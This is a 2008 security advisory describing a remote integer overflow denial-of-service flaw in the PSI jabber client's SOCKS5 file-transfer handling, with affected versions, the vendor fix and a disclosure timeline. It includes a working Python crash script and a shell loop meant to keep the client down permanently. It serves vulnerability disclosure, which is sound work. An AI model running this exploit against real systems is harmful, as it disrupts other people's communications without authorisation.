[ISecAuditors Security Advisories] PSI remote integer overflow DoS

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INTERNET SECURITY AUDITORS ALERT 2008-004

• Original release date: 12th December, 2008
• Last revised: 22nd December, 2008
• Discovered by: Jesus Olmos Gonzalez
• Severity: 4/5
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I. VULNERABILITY

PSI remote integer overflow DoS

II. BACKGROUND

PSI is a widely used jabber client Qt4 based, available for Windows,
Mac, linux, and other operative systems.

III. DESCRIPTION

In order doing file transfers, a open port is needed (by default is
8010/tcp)

If first byte of data stream is a 0x05, it means socks5 option and we
enter in the vulnerable zone of the code.

Is possible to satisfy the jump: cmp al, 5 -> je vulnCheck()

The second byte is the amount of bytes to memcpy, but there is a check:

cmp ecx, 10 -> jg goHome()

Well the signed comparison lets us to send negative values, the
acepted range are <= 10 and > 0x7f (it shoud be compared as unsigned)
then the check can be bypased with this int overflow, now we can play
with 0x80 - 0xff range, and the rest of the stream.

By now we pass successfully the QByteArray.Resize() and
QByteArray.Realloc()

And arrive to the memcpy, from all the data stream sended, n bytes
will be copied, n is controlled by us :)
The problem to make a heap overflow, is that the destiny variable will
be resized to n. Then is possible to hangup the process or also the
system with these two ways

1. Can send a only two bytes buffer \x05\xff then the memcpy's rep
   movz will access to non paged source, becouse we don't sent the bytes
   we are saying to copy.
2. Can be sended a very large buffer and firce a large copy of memory.
   The system can be saturated.

IV. PROOF OF CONCEPT

#!/usr/bin/python
#by sha0 remote integer overflow DoS (Linux && windows)
#http://jolmos.blogspot.com

import socket, sys

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
sock.connect((sys.argv[1],8010))
except:
print 'Cannot connect!'
sys.exit(1)

try:
sock.send('\x05\xff')
print 'Crashed!'
except:
print 'Cannot send!'

sock.close()
#eof

The process can be crashed remotelly by:
./PSIcoKiller.py <ip>

PSI down forever:
while [ 1 ]; do ./PSIcoKiller.py <ip> ;done

V. BUSINESS IMPACT

Remote/local Denial of Service of the communications.

VI. SYSTEMS AFFECTED

PSI 0.11, 0.12 and 0.13 (last)
PSI 0.10 not affected
PSI 0.12.1 Solves the problem

Tested in Linux and Windows, but may crash other heap implementations.

VII. SOLUTION

PSI 0.12.1 solves the problem, nevertheless i suggest filter this port
whenever possible.
Thanks to kev and infinity for their quick response.

VIII. REFERENCES

http://psi-im.org

IX. CREDITS

This vulnerability has been discovered and reported by
Jesus Olmos Gonzalez (jolmos (at) isecauditors (dot) com).

X. REVISION HISTORY

December 12, 2008: Initial release
December 17, 2008: update the new that 0.12.1 solves the problem.

XI. DISCLOSURE TIMELINE

November 20, 2008: Vulnerability acquired by
Internet Security Auditors
December 02, 2008: Vendor notification
December 12, 2008: Advisory documentation
December 18, 2008: Vendor Release 0.12.1
December 23, 2008: Published

XII. LEGAL NOTICES

The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.